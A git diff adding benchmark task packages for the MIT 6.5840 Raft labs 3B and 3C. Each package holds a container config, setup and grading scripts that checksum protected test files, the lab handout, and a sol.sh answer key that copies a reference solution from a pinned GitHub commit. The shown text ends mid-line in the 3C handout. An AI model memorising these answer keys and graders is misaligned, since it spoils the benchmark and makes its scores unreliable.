diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/config.json new file mode 100644 index 00000000..9041e64d --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/config.json @@ -0,0 +1,13 @@ +{ + "instance_id": "mit_6_5840_2024__raft_3b", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 30, + "tags": ["distributed-systems", "go", "raft", "consensus", "fault-tolerance"], + "artifacts": [ + "src/raft/append_entries.go", + "src/raft/election.go", + "src/raft/install_snapshot.go", + "src/raft/raft.go", + "src/raft/util.go" + ] +} diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/evaluate.sh new file mode 100755 index 00000000..b8c9d099 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/evaluate.sh @@ -0,0 +1,53 @@ +#!/bin/bash +set -e + +echo "=== Evaluating Raft Lab 3B ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "raft/config.go" + "raft/persister.go" + "raft/test_test.go" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ] && [ -f "/tmp/checksums/$(basename $file).sha256" ]; then + if ! sha256sum -c "/tmp/checksums/$(basename $file).sha256" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running Raft 3B tests (up to 3 attempts to handle timeouts)" +cd raft + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + if go test -run 3B 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + # Clean up before retry + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/preprocess.sh new file mode 100755 index 00000000..8ce62568 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/preprocess.sh @@ -0,0 +1,39 @@ +#!/bin/bash +set -e + +echo "=== Setting up Raft Lab 3B ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +cd src + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "raft/config.go" + "raft/persister.go" + "raft/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" > "/tmp/checksums/$(basename $file).sha256" + echo " Protected: $file" + fi +done + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/sol.sh new file mode 100644 index 00000000..0859f518 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/sol.sh @@ -0,0 +1,13 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/raft/append_entries.go src/raft/append_entries.go +cp /tmp/mit-solution/src/raft/election.go src/raft/election.go +cp /tmp/mit-solution/src/raft/install_snapshot.go src/raft/install_snapshot.go +cp /tmp/mit-solution/src/raft/raft.go src/raft/raft.go +cp /tmp/mit-solution/src/raft/util.go src/raft/util.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/task.md new file mode 100644 index 00000000..0283ab03 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3b_raft/task.md @@ -0,0 +1,167 @@ +# Raft + +### Introduction + +This is the first in a series of labs in which you'll build a fault-tolerant key/value storage system. In this lab you'll implement Raft, a replicated state machine protocol. In the next lab you'll build a key/value service on top of Raft. Then you will "shard" your service over multiple replicated state machines for higher performance. + +A replicated service achieves fault tolerance by storing complete copies of its state (i.e., data) on multiple replica servers. Replication allows the service to continue operating even if some of its servers experience failures (crashes or a broken or flaky network). The challenge is that failures may cause the replicas to hold differing copies of the data. + +Raft organizes client requests into a sequence, called the log, and ensures that all the replica servers see the same log. Each replica executes client requests in log order, applying them to its local copy of the service's state. Since all the live replicas see the same log contents, they all execute the same requests in the same order, and thus continue to have identical service state. If a server fails but later recovers, Raft takes care of bringing its log up to date. Raft will continue to operate as long as at least a majority of the servers are alive and can talk to each other. If there is no such majority, Raft will make no progress, but will pick up where it left off as soon as a majority can communicate again. + +In this lab you'll implement Raft as a Go object type with associated methods, meant to be used as a module in a larger service. A set of Raft instances talk to each other with RPC to maintain replicated logs. Your Raft interface will support an indefinite sequence of numbered commands, also called log entries. The entries are numbered with _index numbers_. The log entry with a given index will eventually be committed. At that point, your Raft should send the log entry to the larger service for it to execute. + +You should follow the design in the extended Raft paper, with particular attention to Figure 2. You'll implement most of what's in the paper, including saving persistent state and reading it after a node fails and then restarts. You will not implement cluster membership changes (Section 6). + +This lab is due in four parts. You must submit each part on the corresponding due date. + +### Getting Started + +We supply you with skeleton code `src/raft/raft.go`. We also supply a set of tests, which you should use to drive your implementation efforts, and which we'll use to grade your submitted lab. The tests are in `src/raft/test_test.go`. + +When we grade your submissions, we will run the tests without the `-race` flag. However, you should check that your code does not have races, by running the tests with the `-race` flag as you develop your solution. + +To get up and running, execute the following commands: + +```sh +$ cd src/raft +$ go test +Test (3A): initial election ... +--- FAIL: TestInitialElection3A (5.04s) +config.go:326: expected one leader, got none +Test (3A): election after network failure ... +--- FAIL: TestReElection3A (5.03s) +config.go:326: expected one leader, got none +... +$ +``` + +### The code + +Implement Raft by adding code to `raft/raft.go`. In that file you'll find skeleton code, plus examples of how to send and receive RPCs. + +Your implementation must support the following interface, which the tester and (eventually) your key/value server will use. You'll find more details in comments in `raft.go`. + +```go +// create a new Raft server instance: +rf := Make(peers, me, persister, applyCh) + +// start agreement on a new log entry: +rf.Start(command interface{}) (index, term, isleader) + +// ask a Raft for its current term, and whether it thinks it is leader +rf.GetState() (term, isLeader) + +// each time a new entry is committed to the log, each Raft peer +// should send an ApplyMsg to the service (or tester). +type ApplyMsg +``` + +A service calls `Make(peers,me,…)` to create a Raft peer. The peers argument is an array of network identifiers of the Raft peers (including this one), for use with RPC. The `me` argument is the index of this peer in the peers array. `Start(command)` asks Raft to start the processing to append the command to the replicated log. `Start()` should return immediately, without waiting for the log appends to complete. The service expects your implementation to send an `ApplyMsg` for each newly committed log entry to the `applyCh` channel argument to `Make()`. + +`raft.go` contains example code that sends an RPC (`sendRequestVote()`) and that handles an incoming RPC (`RequestVote()`). Your Raft peers should exchange RPCs using the labrpc Go package (source in `src/labrpc`). The tester can tell `labrpc` to delay RPCs, re-order them, and discard them to simulate various network failures. While you can temporarily modify `labrpc`, make sure your Raft works with the original `labrpc`, since that's what we'll use to test and grade your lab. Your Raft instances must interact only with RPC; for example, they are not allowed to communicate using shared Go variables or files. + +Subsequent labs build on this lab, so it is important to give yourself enough time to write solid code. + +### Part 3A: leader election ("moderate") + +#### Task + +Implement Raft leader election and heartbeats (`AppendEntries` RPCs with no log entries). The goal for Part 3A is for a single leader to be elected, for the leader to remain the leader if there are no failures, and for a new leader to take over if the old leader fails or if packets to/from the old leader are lost. Run `go test -run 3A` to test your 3A code. + +#### Hints + +- You can't easily run your Raft implementation directly; instead you should run it by way of the tester, i.e. `go test -run 3A` . +- Follow the paper's Figure 2. At this point you care about sending and receiving RequestVote RPCs, the Rules for Servers that relate to elections, and the State related to leader election, +- Add the Figure 2 state for leader election to the `Raft` struct in `raft.go`. You'll also need to define a struct to hold information about each log entry. +- Fill in the `RequestVoteArgs` and `RequestVoteReply` structs. Modify `Make()` to create a background goroutine that will kick off leader election periodically by sending out `RequestVote` RPCs when it hasn't heard from another peer for a while. Implement the `RequestVote()` RPC handler so that servers will vote for one another. +- To implement heartbeats, define an `AppendEntries` RPC struct (though you may not need all the arguments yet), and have the leader send them out periodically. Write an `AppendEntries` RPC handler method. +- The tester requires that the leader send heartbeat RPCs no more than ten times per second. +- The tester requires your Raft to elect a new leader within five seconds of the failure of the old leader (if a majority of peers can still communicate). +- The paper's Section 5.2 mentions election timeouts in the range of 150 to 300 milliseconds. Such a range only makes sense if the leader sends heartbeats considerably more often than once per 150 milliseconds (e.g., once per 10 milliseconds). Because the tester limits you tens of heartbeats per second, you will have to use an election timeout larger than the paper's 150 to 300 milliseconds, but not too large, because then you may fail to elect a leader within five seconds. +- You may find Go's rand useful. +- You'll need to write code that takes actions periodically or after delays in time. The easiest way to do this is to create a goroutine with a loop that calls time.Sleep(); see the ticker() goroutine that Make() creates for this purpose. Don't use Go's `time.Timer` or `time.Ticker`, which are difficult to use correctly. +- If your code has trouble passing the tests, read the paper's Figure 2 again; the full logic for leader election is spread over multiple parts of the figure. +- Don't forget to implement `GetState()`. +- The tester calls your Raft's `rf.Kill()` when it is permanently shutting down an instance. You can check whether `Kill()` has been called using `rf.killed()`. You may want to do this in all loops, to avoid having dead Raft instances print confusing messages. +- Go RPC sends only struct fields whose names start with capital letters. Sub-structures must also have capitalized field names (e.g. fields of log records in an array). The `labgob` package will warn you about this; don't ignore the warnings. +- The most challenging part of this lab may be the debugging. Spend some time making your implementation easy to debug. + +Be sure you pass the 3A tests before submitting Part 3A, so that you see something like this: + +```sh +$ go test -run 3A +Test (3A): initial election ... +... Passed -- 3.5 3 58 16840 0 +Test (3A): election after network failure ... +... Passed -- 5.4 3 118 25269 0 +Test (3A): multiple elections ... +... Passed -- 7.3 7 624 138014 0 +PASS +ok raft 16.265s +$ +``` + +Each "Passed" line contains five numbers; these are the time that the test took in seconds, the number of Raft peers, the number of RPCs sent during the test, the total number of bytes in the RPC messages, and the number of log entries that Raft reports were committed. Your numbers will differ from those shown here. You can ignore the numbers if you like, but they may help you sanity-check the number of RPCs that your implementation sends. For all of labs 3, 4, and 5, the grading script will fail your solution if it takes more than 600 seconds for all of the tests (`go test`), or if any individual test takes more than 120 seconds. + +When we grade your submissions, we will run the tests without the `-race` flag. However, you should make sure that your code consistently passes the tests with the `-race` flag. + +### Part 3B: log ("hard") + +#### Task + +Implement the leader and follower code to append new log entries, so that the `go test -run 3B` tests pass. + +#### Hints + +- Your first goal should be to pass `TestBasicAgree3B()`. Start by implementing `Start()`, then write the code to send and receive new log entries via `AppendEntries` RPCs, following Figure 2. Send each newly committed entry on `applyCh` on each peer. +- You will need to implement the election restriction (section 5.4.1 in the paper). +- Your code may have loops that repeatedly check for certain events. Don't have these loops execute continuously without pausing, since that will slow your implementation enough that it fails tests. Use Go's condition variables, or insert a `time.Sleep(10 * time.Millisecond)` in each loop iteration. +- Do yourself a favor for future labs and write (or re-write) code that's clean and clear. +- If you fail a test, look at `test_test.go` and `config.go` to understand what's being tested. `config.go` also illustrates how the tester uses the Raft API. + +The tests for upcoming labs may fail your code if it runs too slowly. You can check how much real time and CPU time your solution uses with the time command. Here's typical output: + +```sh +$ time go test -run 3B +Test (3B): basic agreement ... +... Passed -- 0.9 3 16 4572 3 +Test (3B): RPC byte count ... +... Passed -- 1.7 3 48 114536 11 +Test (3B): agreement after follower reconnects ... +... Passed -- 3.6 3 78 22131 7 +Test (3B): no agreement if too many followers disconnect ... +... Passed -- 3.8 5 172 40935 3 +Test (3B): concurrent Start()s ... +... Passed -- 1.1 3 24 7379 6 +Test (3B): rejoin of partitioned leader ... +... Passed -- 5.1 3 152 37021 4 +Test (3B): leader backs up quickly over incorrect follower logs ... +... Passed -- 17.2 5 2080 1587388 102 +Test (3B): RPC counts aren't too high ... +... Passed -- 2.2 3 60 20119 12 +PASS +ok raft 35.557s + +real 0m35.899s +user 0m2.556s +sys 0m1.458s +$ +``` + +The "ok raft 35.557s" means that Go measured the time taken for the 3B tests to be 35.557 seconds of real (wall-clock) time. The "user 0m2.556s" means that the code consumed 2.556 seconds of CPU time, or time spent actually executing instructions (rather than waiting or sleeping). If your solution uses much more than a minute of real time for the 3B tests, or much more than 5 seconds of CPU time, you may run into trouble later on. Look for time spent sleeping or waiting for RPC timeouts, loops that run without sleeping or waiting for conditions or channel messages, or large numbers of RPCs sent. + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/raft/append_entries.go` +- `src/raft/election.go` +- `src/raft/install_snapshot.go` +- `src/raft/raft.go` +- `src/raft/util.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/config.json new file mode 100644 index 00000000..64aa41de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/config.json @@ -0,0 +1,13 @@ +{ + "instance_id": "mit_6_5840_2024__raft_3c", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 30, + "tags": ["distributed-systems", "go", "raft", "consensus", "fault-tolerance"], + "artifacts": [ + "src/raft/append_entries.go", + "src/raft/election.go", + "src/raft/install_snapshot.go", + "src/raft/raft.go", + "src/raft/util.go" + ] +} diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/evaluate.sh new file mode 100755 index 00000000..a1de30c8 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/evaluate.sh @@ -0,0 +1,53 @@ +#!/bin/bash +set -e + +echo "=== Evaluating Raft Lab 3C ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "raft/config.go" + "raft/persister.go" + "raft/test_test.go" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ] && [ -f "/tmp/checksums/$(basename $file).sha256" ]; then + if ! sha256sum -c "/tmp/checksums/$(basename $file).sha256" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running Raft 3C tests (up to 3 attempts to handle timeouts)" +cd raft + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + if go test -run 3C 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + # Clean up before retry + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/preprocess.sh new file mode 100755 index 00000000..ead5c7c2 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/preprocess.sh @@ -0,0 +1,39 @@ +#!/bin/bash +set -e + +echo "=== Setting up Raft Lab 3C ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +cd src + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "raft/config.go" + "raft/persister.go" + "raft/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" > "/tmp/checksums/$(basename $file).sha256" + echo " Protected: $file" + fi +done + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/sol.sh new file mode 100644 index 00000000..0859f518 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/sol.sh @@ -0,0 +1,13 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/raft/append_entries.go src/raft/append_entries.go +cp /tmp/mit-solution/src/raft/election.go src/raft/election.go +cp /tmp/mit-solution/src/raft/install_snapshot.go src/raft/install_snapshot.go +cp /tmp/mit-solution/src/raft/raft.go src/raft/raft.go +cp /tmp/mit-solution/src/raft/util.go src/raft/util.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/task.md new file mode 100644 index 00000000..27f556a6 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3c_raft/task.md @@ -0,0 +1,231 @@ +# Raft + +### Introduction + +This is the first in a series of labs in which you'll build a fault-tolerant key/value storage system. In this lab you'll implement Raft, a replicated state machine protocol. In the next lab you'll build a key/value service on top of Raft. Then you will "shard" your service over multiple replicated state machines for higher performance. + +A replicated service achieves fault tolerance by storing complete copies of its state (i.e., data) on multiple replica servers. Replication allows the service to continue operating even if some of its servers experience failures (crashes or a broken or flaky network). The challenge is that failures may cause the replicas to hold differing copies of the data. + +Raft organizes client requests into a sequence, called the log, and ensures that all the replica servers see the same log. Each replica executes client requests in log order, applying them to its local copy of the service's state. Since all the live replicas see the same log contents, they all execute the same requests in the same order, and thus continue to have identical service state. If a server fails but later recovers, Raft takes care of bringing its log up to date. Raft will continue to operate as long as at least a majority of the servers are alive and can talk to each other. If there is no such majority, Raft will make no progress, but will pick up where it left off as soon as a majority can communicate again. + +In this lab you'll implement Raft as a Go object type with associated methods, meant to be used as a module in a larger service. A set of Raft instances talk to each other with RPC to maintain replicated logs. Your Raft interface will support an indefinite sequence of numbered commands, also called log entries. The entries are numbered with _index numbers_. The log entry with a given index will eventually be committed. At that point, your Raft should send the log entry to the larger service for it to execute. + +You should follow the design in the extended Raft paper, with particular attention to Figure 2. You'll implement most of what's in the paper, including saving persistent state and reading it after a node fails and then restarts. You will not implement cluster membership changes (Section 6). + +This lab is due in four parts. You must submit each part on the corresponding due date. + +### Getting Started + +We supply you with skeleton code `src/raft/raft.go`. We also supply a set of tests, which you should use to drive your implementation efforts, and which we'll use to grade your submitted lab. The tests are in `src/raft/test_test.go`. + +When we grade your submissions, we will run the tests without the `-race` flag. However, you should check that your code does not have races, by running the tests with the `-race` flag as you develop your solution. + +To get up and running, execute the following commands: + +```sh +$ cd src/raft +$ go test +Test (3A): initial election ... +--- FAIL: TestInitialElection3A (5.04s) +config.go:326: expected one leader, got none +Test (3A): election after network failure ... +--- FAIL: TestReElection3A (5.03s) +config.go:326: expected one leader, got none +... +$ +``` + +### The code + +Implement Raft by adding code to `raft/raft.go`. In that file you'll find skeleton code, plus examples of how to send and receive RPCs. + +Your implementation must support the following interface, which the tester and (eventually) your key/value server will use. You'll find more details in comments in `raft.go`. + +```go +// create a new Raft server instance: +rf := Make(peers, me, persister, applyCh) + +// start agreement on a new log entry: +rf.Start(command interface{}) (index, term, isleader) + +// ask a Raft for its current term, and whether it thinks it is leader +rf.GetState() (term, isLeader) + +// each time a new entry is committed to the log, each Raft peer +// should send an ApplyMsg to the service (or tester). +type ApplyMsg +``` + +A service calls `Make(peers,me,…)` to create a Raft peer. The peers argument is an array of network identifiers of the Raft peers (including this one), for use with RPC. The `me` argument is the index of this peer in the peers array. `Start(command)` asks Raft to start the processing to append the command to the replicated log. `Start()` should return immediately, without waiting for the log appends to complete. The service expects your implementation to send an `ApplyMsg` for each newly committed log entry to the `applyCh` channel argument to `Make()`. + +`raft.go` contains example code that sends an RPC (`sendRequestVote()`) and that handles an incoming RPC (`RequestVote()`). Your Raft peers should exchange RPCs using the labrpc Go package (source in `src/labrpc`). The tester can tell `labrpc` to delay RPCs, re-order them, and discard them to simulate various network failures. While you can temporarily modify `labrpc`, make sure your Raft works with the original `labrpc`, since that's what we'll use to test and grade your lab. Your Raft instances must interact only with RPC; for example, they are not allowed to communicate using shared Go variables or files. + +Subsequent labs build on this lab, so it is important to give yourself enough time to write solid code. + +### Part 3A: leader election ("moderate") + +#### Task + +Implement Raft leader election and heartbeats (`AppendEntries` RPCs with no log entries). The goal for Part 3A is for a single leader to be elected, for the leader to remain the leader if there are no failures, and for a new leader to take over if the old leader fails or if packets to/from the old leader are lost. Run `go test -run 3A` to test your 3A code. + +#### Hints + +- You can't easily run your Raft implementation directly; instead you should run it by way of the tester, i.e. `go test -run 3A` . +- Follow the paper's Figure 2. At this point you care about sending and receiving RequestVote RPCs, the Rules for Servers that relate to elections, and the State related to leader election, +- Add the Figure 2 state for leader election to the `Raft` struct in `raft.go`. You'll also need to define a struct to hold information about each log entry. +- Fill in the `RequestVoteArgs` and `RequestVoteReply` structs. Modify `Make()` to create a background goroutine that will kick off leader election periodically by sending out `RequestVote` RPCs when it hasn't heard from another peer for a while. Implement the `RequestVote()` RPC handler so that servers will vote for one another. +- To implement heartbeats, define an `AppendEntries` RPC struct (though you may not need all the arguments yet), and have the leader send them out periodically. Write an `AppendEntries` RPC handler method. +- The tester requires that the leader send heartbeat RPCs no more than ten times per second. +- The tester requires your Raft to elect a new leader within five seconds of the failure of the old leader (if a majority of peers can still communicate). +- The paper's Section 5.2 mentions election timeouts in the range of 150 to 300 milliseconds. Such a range only makes sense if the leader sends heartbeats considerably more often than once per 150 milliseconds (e.g., once per 10 milliseconds). Because the tester limits you tens of heartbeats per second, you will have to use an election timeout larger than the paper's 150 to 300 milliseconds, but not too large, because then you may fail to elect a leader within five seconds. +- You may find Go's rand useful. +- You'll need to write code that takes actions periodically or after delays in time. The easiest way to do this is to create a goroutine with a loop that calls time.Sleep(); see the ticker() goroutine that Make() creates for this purpose. Don't use Go's `time.Timer` or `time.Ticker`, which are difficult to use correctly. +- If your code has trouble passing the tests, read the paper's Figure 2 again; the full logic for leader election is spread over multiple parts of the figure. +- Don't forget to implement `GetState()`. +- The tester calls your Raft's `rf.Kill()` when it is permanently shutting down an instance. You can check whether `Kill()` has been called using `rf.killed()`. You may want to do this in all loops, to avoid having dead Raft instances print confusing messages. +- Go RPC sends only struct fields whose names start with capital letters. Sub-structures must also have capitalized field names (e.g. fields of log records in an array). The `labgob` package will warn you about this; don't ignore the warnings. +- The most challenging part of this lab may be the debugging. Spend some time making your implementation easy to debug. + +Be sure you pass the 3A tests before submitting Part 3A, so that you see something like this: + +```sh +$ go test -run 3A +Test (3A): initial election ... +... Passed -- 3.5 3 58 16840 0 +Test (3A): election after network failure ... +... Passed -- 5.4 3 118 25269 0 +Test (3A): multiple elections ... +... Passed -- 7.3 7 624 138014 0 +PASS +ok raft 16.265s +$ +``` + +Each "Passed" line contains five numbers; these are the time that the test took in seconds, the number of Raft peers, the number of RPCs sent during the test, the total number of bytes in the RPC messages, and the number of log entries that Raft reports were committed. Your numbers will differ from those shown here. You can ignore the numbers if you like, but they may help you sanity-check the number of RPCs that your implementation sends. For all of labs 3, 4, and 5, the grading script will fail your solution if it takes more than 600 seconds for all of the tests (`go test`), or if any individual test takes more than 120 seconds. + +When we grade your submissions, we will run the tests without the `-race` flag. However, you should make sure that your code consistently passes the tests with the `-race` flag. + +### Part 3B: log ("hard") + +#### Task + +Implement the leader and follower code to append new log entries, so that the `go test -run 3B` tests pass. + +#### Hints + +- Your first goal should be to pass `TestBasicAgree3B()`. Start by implementing `Start()`, then write the code to send and receive new log entries via `AppendEntries` RPCs, following Figure 2. Send each newly committed entry on `applyCh` on each peer. +- You will need to implement the election restriction (section 5.4.1 in the paper). +- Your code may have loops that repeatedly check for certain events. Don't have these loops execute continuously without pausing, since that will slow your implementation enough that it fails tests. Use Go's condition variables, or insert a `time.Sleep(10 * time.Millisecond)` in each loop iteration. +- Do yourself a favor for future labs and write (or re-write) code that's clean and clear. +- If you fail a test, look at `test_test.go` and `config.go` to understand what's being tested. `config.go` also illustrates how the tester uses the Raft API. + +The tests for upcoming labs may fail your code if it runs too slowly. You can check how much real time and CPU time your solution uses with the time command. Here's typical output: + +```sh +$ time go test -run 3B +Test (3B): basic agreement ... +... Passed -- 0.9 3 16 4572 3 +Test (3B): RPC byte count ... +... Passed -- 1.7 3 48 114536 11 +Test (3B): agreement after follower reconnects ... +... Passed -- 3.6 3 78 22131 7 +Test (3B): no agreement if too many followers disconnect ... +... Passed -- 3.8 5 172 40935 3 +Test (3B): concurrent Start()s ... +... Passed -- 1.1 3 24 7379 6 +Test (3B): rejoin of partitioned leader ... +... Passed -- 5.1 3 152 37021 4 +Test (3B): leader backs up quickly over incorrect follower logs ... +... Passed -- 17.2 5 2080 1587388 102 +Test (3B): RPC counts aren't too high ... +... Passed -- 2.2 3 60 20119 12 +PASS +ok raft 35.557s + +real 0m35.899s +user 0m2.556s +sys 0m1.458s +$ +``` + +The "ok raft 35.557s" means that Go measured the time taken for the 3B tests to be 35.557 seconds of real (wall-clock) time. The "user 0m2.556s" means that the code consumed 2.556 seconds of CPU time, or time spent actually executing instructions (rather than waiting or sleeping). If your solution uses much more than a minute of real time for the 3B tests, or much more than 5 seconds of CPU time, you may run into trouble later on. Look for time spent sleeping or waiting for RPC timeouts, loops that run without sleeping or waiting for conditions or channel messages, or large numbers of RPCs sent. + +### Part 3C: persistence ("hard") + +If a Raft-based server reboots it should resume service where it left off. This requires that Raft keep persistent state that survives a reboot. The paper's Figure 2 mentions which state should be persistent. + +A real implementation would write Raft's persistent state to disk each time it changed, and would read the state from disk when restarting after a reboot. Your implementation won't use the disk; instead, it will save and restore persistent state from a `Persister` object (see `persister.go`). Whoever calls `Raft.Make()` supplies a `Persister` that initially holds Raft's most recently persisted state (if any). Raft should initialize its state from that `Persister`, and should use it to save its persistent state each time the state changes. Use the `Persister`'s `ReadRaftState()` and `Save()` methods. + +#### Task + +Complete the functions `persist()` and `readPersist()` in raft.go by adding code to save and restore persistent state. You will need to encode (or "serialize") the state as an array of bytes in order to pass it to the Persister. Use the labgob encoder; see the comments in `persist()` and `readPersist()`. `labgob` is like Go's `gob` encoder but prints error messages if you try to encode structures with lower-case field names. For now, pass `nil` as the second argument to `persister.Save()`. Insert calls to `persist()` at the points where your implementation changes persistent state. Once you've done this, and if the rest of your implementation is correct, you should pass all of the 3C tests. + +You will probably need the optimization that backs up nextIndex by more than one entry at a time. Look at the extended Raft paper starting at the bottom of page 7 and top of page 8 (marked by a gray line). The paper is vague about the details; you will need to fill in the gaps. One possibility is to have a rejection message include: + +```sh + XTerm: term in the conflicting entry (if any) + XIndex: index of first entry with that term (if any) + XLen: log length +``` + +Then the leader's logic can be something like: + +```sh +Case 1: leader doesn't have XTerm: +nextIndex = XIndex +Case 2: leader has XTerm: +nextIndex = leader's last entry for XTerm +Case 3: follower's log is too short: +nextIndex = XLen +``` + +A few other hints: + +- The 3C tests are more demanding than those for 3A or 3B, and failures may be caused by problems in your code for 3A or 3B. + +Your code should pass all the 3C tests (as shown below), as well as the 3A and 3B tests. + +```sh +$ go test -run 3C +Test (3C): basic persistence ... +... Passed -- 5.0 3 86 22849 6 +Test (3C): more persistence ... +... Passed -- 17.6 5 952 218854 16 +Test (3C): partitioned leader and one follower crash, leader restarts ... +... Passed -- 2.0 3 34 8937 4 +Test 